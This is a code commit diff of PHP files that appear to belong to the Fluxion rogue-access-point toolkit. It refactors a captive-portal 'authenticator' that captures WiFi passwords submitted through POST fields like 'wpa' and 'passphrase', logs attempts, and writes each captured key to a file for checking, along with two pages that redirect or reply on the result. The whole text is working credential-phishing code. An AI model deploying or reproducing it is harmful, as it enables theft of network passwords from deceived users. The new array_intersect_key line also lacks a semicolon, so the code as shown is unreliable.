commit
a01a5b4d20
|
@ -1,23 +1,24 @@
|
|||
<?php
|
||||
// Receive get & post data and store to variables
|
||||
$candidateKeyFields = array("password", "password1", "passphrase", "key", "key1", "wpa", "wpa_psw");
|
||||
$key = false;
|
||||
error_reporting(0);
|
||||
|
||||
foreach ($candidateKeyFields as $candidateKeyField) {
|
||||
if (array_key_exists($candidateKeyField, $_POST)) {
|
||||
$key = $_POST[$candidateKeyField]; break;
|
||||
}
|
||||
}
|
||||
/*
|
||||
The following represents the authenticator result.
|
||||
By default, we assume the password is incorrect.
|
||||
|
||||
# The following represents the authenticator result.
|
||||
# By default, we assume the password is incorrect.
|
||||
# Notice: This variable is used by files including
|
||||
# this script, and by the authenticator itself below.
|
||||
Notice: This variable is used by files including
|
||||
this script, and by the authenticator itself below.
|
||||
*/
|
||||
$candidate_code = 0;
|
||||
|
||||
# If the key wasn't sent with the post request,
|
||||
# don't even bother starting the authenticator.
|
||||
if (!$key) return 1;
|
||||
// Receive get & post data and store to variables
|
||||
$candidateKeyFields = array("password", "password1", "passphrase", "key", "key1", "wpa", "wpa_psw");
|
||||
$matches = array_intersect_key($_POST, array_flip($candidateKeyFields))
|
||||
|
||||
// Retrieve just the first matched value
|
||||
$key = reset($matches);
|
||||
|
||||
// No password was given
|
||||
if(empty($key)) return;
|
||||
|
||||
// Update hit attempts
|
||||
$page_hits_log_path = ("$FLUXIONWorkspacePath/hit.txt");
|
||||
|
@ -35,7 +36,7 @@
|
|||
fwrite($attempt_log, "\n");
|
||||
fclose($attempt_log);
|
||||
|
||||
# Write candidate key to file to prep for checking.
|
||||
// Write candidate key to file to prep for checking.
|
||||
$candidate = fopen($candidate_path, "w");
|
||||
fwrite($candidate, $key);
|
||||
fwrite($candidate, "\n");
|
||||
|
@ -43,7 +44,7 @@
|
|||
|
||||
$candidate_result_path = "$FLUXIONWorkspacePath/candidate_result.txt";
|
||||
|
||||
# Create candidate result file to trigger checking.
|
||||
// Create candidate result file to trigger checking.
|
||||
$candidate_result = fopen($candidate_result_path, "w");
|
||||
fwrite($candidate_result,"\n");
|
||||
fclose($candidate_result);
|
||||
|
@ -53,6 +54,5 @@
|
|||
$candidate_code = trim(file_get_contents($candidate_result_path));
|
||||
} while (!ctype_digit($candidate_code));
|
||||
|
||||
# Reset file by deleting it.
|
||||
// Reset file by deleting it.
|
||||
unlink($candidate_result_path);
|
||||
?>
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
<?php
|
||||
error_reporting(0);
|
||||
|
||||
require_once("authenticator.php");
|
||||
|
||||
switch ($candidate_code) {
|
||||
|
@ -8,4 +6,3 @@
|
|||
case "2": header("Location:final.html"); break;
|
||||
default: header("Location:error.html"); break;
|
||||
}
|
||||
?>
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
<?php
|
||||
error_reporting(0);
|
||||
|
||||
require_once("authenticator.php");
|
||||
|
||||
switch ($candidate_code) {
|
||||
|
@ -8,4 +6,3 @@
|
|||
case "2": echo "true"; break;
|
||||
default: echo "false"; break;
|
||||
}
|
||||
?>
|
||||
|
|
Loading…
Reference in New Issue